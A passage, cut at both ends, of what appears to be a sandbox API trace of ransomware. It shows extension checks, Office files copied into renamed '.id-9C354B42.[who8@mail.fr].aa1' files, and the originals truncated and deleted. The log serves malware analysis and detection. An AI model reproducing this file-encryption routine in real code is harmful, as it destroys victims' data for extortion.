(lpString=".xls") returned 4 [0211.201] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.201] lstrlenW (lpString=".xlsx") returned 5 [0211.202] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.202] lstrlenW (lpString=".ppt") returned 4 [0211.202] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString=".zip") returned 4 [0211.202] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.202] lstrlenW (lpString=".rar") returned 4 [0211.202] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString=".bz2") returned 4 [0211.202] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString=".7z") returned 3 [0211.202] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString=".dbf") returned 4 [0211.202] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString=".1cd") returned 4 [0211.202] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString=".jpg") returned 4 [0211.202] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.202] lstrlenW (lpString=".doc") returned 4 [0211.202] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString=".docx") returned 5 [0211.202] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.202] lstrlenW (lpString=".pdf") returned 4 [0211.202] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.202] lstrlenW (lpString=".xls") returned 4 [0211.203] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString=".xlsx") returned 5 [0211.203] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.203] lstrlenW (lpString=".ppt") returned 4 [0211.203] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.203] lstrlenW (lpString=".zip") returned 4 [0211.203] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.203] lstrlenW (lpString=".rar") returned 4 [0211.203] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString=".bz2") returned 4 [0211.203] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString=".7z") returned 3 [0211.203] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.203] lstrlenW (lpString=".dbf") returned 4 [0211.203] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.203] lstrlenW (lpString=".1cd") returned 4 [0211.203] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.203] lstrlenW (lpString=".jpg") returned 4 [0211.203] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.203] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0211.203] lstrlenW (lpString="SETUP.XML") returned 9 [0211.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0211.204] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=31094) returned 1 [0211.204] CloseHandle (hObject=0x1e4) returned 1 [0211.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0211.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0211.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0211.204] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.204] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.519] GetLastError () returned 0x0 [0211.519] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7976, lpOverlapped=0x0) returned 1 [0211.993] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0211.995] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.995] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.995] SetEndOfFile (hFile=0x1f8) returned 1 [0211.995] CloseHandle (hObject=0x1f8) returned 1 [0211.995] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.995] SetEndOfFile (hFile=0x1e4) returned 1 [0211.997] CloseHandle (hObject=0x1e4) returned 1 [0211.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0211.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.997] lstrlenW (lpString=".doc") returned 4 [0211.997] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.997] lstrlenW (lpString=".docx") returned 5 [0211.997] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.997] lstrlenW (lpString=".pdf") returned 4 [0211.997] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.997] lstrlenW (lpString=".xls") returned 4 [0211.997] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString=".xlsx") returned 5 [0211.998] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.998] lstrlenW (lpString=".ppt") returned 4 [0211.998] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString=".zip") returned 4 [0211.998] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.998] lstrlenW (lpString=".rar") returned 4 [0211.998] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString=".bz2") returned 4 [0211.998] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString=".7z") returned 3 [0211.998] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString=".dbf") returned 4 [0211.998] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString=".1cd") returned 4 [0211.998] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString=".jpg") returned 4 [0211.998] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.998] lstrlenW (lpString=".doc") returned 4 [0211.998] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString=".docx") returned 5 [0211.999] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.999] lstrlenW (lpString=".pdf") returned 4 [0211.999] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString=".xls") returned 4 [0211.999] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString=".xlsx") returned 5 [0211.999] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.999] lstrlenW (lpString=".ppt") returned 4 [0211.999] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.999] lstrlenW (lpString=".zip") returned 4 [0211.999] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.999] lstrlenW (lpString=".rar") returned 4 [0211.999] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString=".bz2") returned 4 [0211.999] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString=".7z") returned 3 [0211.999] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.999] lstrlenW (lpString=".dbf") returned 4 [0211.999] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.999] lstrlenW (lpString=".1cd") returned 4 [0211.999] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.999] lstrlenW (lpString=".jpg") returned 4 [0212.000] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.000] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.000] lstrlenW (lpString="VisioMUI.XML") returned 12 [0212.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.293] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=9503) returned 1 [0212.293] CloseHandle (hObject=0x1dc) returned 1 [0212.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0212.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.294] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.294] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0212.415] GetLastError () returned 0x0 [0212.415] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x251f, lpOverlapped=0x0) returned 1 [0212.475] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0212.476] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.476] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.477] SetEndOfFile (hFile=0x17c) returned 1 [0212.477] CloseHandle (hObject=0x17c) returned 1 [0212.477] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.477] SetEndOfFile (hFile=0x1dc) returned 1 [0212.478] CloseHandle (hObject=0x1dc) returned 1 [0212.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.478] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0212.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.478] lstrlenW (lpString=".doc") returned 4 [0212.478] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString=".docx") returned 5 [0212.479] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0212.479] lstrlenW (lpString=".pdf") returned 4 [0212.479] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString=".xls") returned 4 [0212.479] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString=".xlsx") returned 5 [0212.479] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0212.479] lstrlenW (lpString=".ppt") returned 4 [0212.479] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.479] lstrlenW (lpString=".zip") returned 4 [0212.479] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.479] lstrlenW (lpString=".rar") returned 4 [0212.479] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString=".bz2") returned 4 [0212.479] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString=".7z") returned 3 [0212.479] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.479] lstrlenW (lpString=".dbf") returned 4 [0212.479] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.479] lstrlenW (lpString=".1cd") returned 4 [0212.479] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.479] lstrlenW (lpString=".jpg") returned 4 [0212.479] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.480] lstrlenW (lpString=".doc") returned 4 [0212.480] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString=".docx") returned 5 [0212.480] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0212.480] lstrlenW (lpString=".pdf") returned 4 [0212.480] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString=".xls") returned 4 [0212.480] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString=".xlsx") returned 5 [0212.480] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0212.480] lstrlenW (lpString=".ppt") returned 4 [0212.480] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.480] lstrlenW (lpString=".zip") returned 4 [0212.480] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.480] lstrlenW (lpString=".rar") returned 4 [0212.480] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString=".bz2") returned 4 [0212.480] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString=".7z") returned 3 [0212.480] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.480] lstrlenW (lpString=".dbf") returned 4 [0212.480] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.480] lstrlenW (lpString=".1cd") returned 4 [0212.480] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0212.480] lstrlenW (lpString=".jpg") returned 4 [0212.480] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.481] lstrcmpiW (lpString1=".HTM", lpString2=".aa1") returned 1 [0212.481] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0212.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.482] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=11463) returned 1 [0212.482] CloseHandle (hObject=0x1dc) returned 1 [0212.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0212.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.482] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.482] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.496] GetLastError () returned 0x0 [0212.496] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0212.507] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0212.508] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.508] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.508] SetEndOfFile (hFile=0x1e4) returned 1 [0212.508] CloseHandle (hObject=0x1e4) returned 1 [0212.508] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.509] SetEndOfFile (hFile=0x1dc) returned 1 [0212.510] CloseHandle (hObject=0x1dc) returned 1 [0212.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[who8@mail.fr].aa1", 